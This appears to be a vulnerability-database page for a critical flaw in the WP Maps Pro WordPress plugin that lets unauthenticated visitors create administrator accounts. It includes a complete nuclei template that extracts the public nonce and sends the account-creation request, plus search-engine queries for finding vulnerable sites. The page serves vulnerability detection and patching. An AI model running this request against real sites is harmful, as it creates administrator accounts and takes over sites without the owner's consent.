HexBrain

Browse / CVEs / CVE-2026-8732

CVE-2026-8732· flippercode / wp-google-map-gold· CWE-862

WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation

criticalseverity
9.8CVSS score
20.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.

Impact

Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.

Fix

Update to the latest version beyond 6.1.0.

How to confirm it

Send: GET /
Positive when: contains(body, "wpgmp_local") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "wpgmp_access=" and "\"wpgmp_access\":" and "login_url" and "user_id" AND contains "\"success\":true" AND status 200

Run it with nuclei: nuclei -id CVE-2026-8732 -u <target>

The full check
id: CVE-2026-8732

info:
  name: WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
  author: DhiyaneshDk
  severity: critical
  description: |
    The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmp_temp_access_ajax AJAX action being registered with wp_ajax_nopriv_ and protected only by a nonce check using the fc-call-nonce nonce, which is publicly embedded into every frontend page via wp_localize_script as the nonce field of the wpgmp_local JavaScript object, rendering the check ineffective as an access control mechanism. This makes it possible for unauthenticated attackers to invoke the wpgmp_temp_access_support handler with check_temp=false, which unconditionally creates a new WordPress user with the hardcoded role of administrator via wp_insert_user() and returns a magic login URL that, when visited, calls wp_set_auth_cookie() to fully authenticate the attacker as the newly created administrator, resulting in complete site takeover.
  impact: |
    Unauthenticated attackers can create administrator accounts and fully authenticate, leading to complete site takeover.
  remediation: |
    Update to the latest version beyond 6.1.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8732
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-maps-pro/cve-2026-8732/
    - https://github.com/xShadow-Here/CVE-2026-8732
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-8732
    cwe-id: CWE-862
    epss-score: 0.20388
    epss-percentile: 0.97508
  metadata:
    verified: true
    max-request: 2
    vendor: flippercode
    product: wp-google-map-gold
    fofa-query: body="/wp-content/plugins/wp-maps-pro/"
    publicwww-query: "/wp-content/plugins/wp-maps-pro/"
    shodan-query: http.html:"/wp-content/plugins/wp-maps-pro/"
  tags: cve,cve2026,wordpress,wp-plugin,wp-maps-pro,unauth,priv-esc,intrusive,vkev

flow: http(1) && http(2)

variables:
  username: "{{rand_base(8)}}"
  email: "{{rand_base(6)}}@{{rand_base(4)}}.com"
  password: "{{rand_base(10)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wpgmp_local")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"wpgmp_local"[^;]*"nonce"\s*:\s*"([a-f0-9]+)"'
          - 'wpgmp_local\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgmp_temp_access_ajax&nonce={{nonce}}&check_temp=false&user_login={{username}}&user_email={{email}}&user_pass={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wpgmp_access='
          - '"wpgmp_access":'
          - 'login_url'
          - 'user_id'
        condition: and

      - type: word
        part: body
        words:
          - '"success":true'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from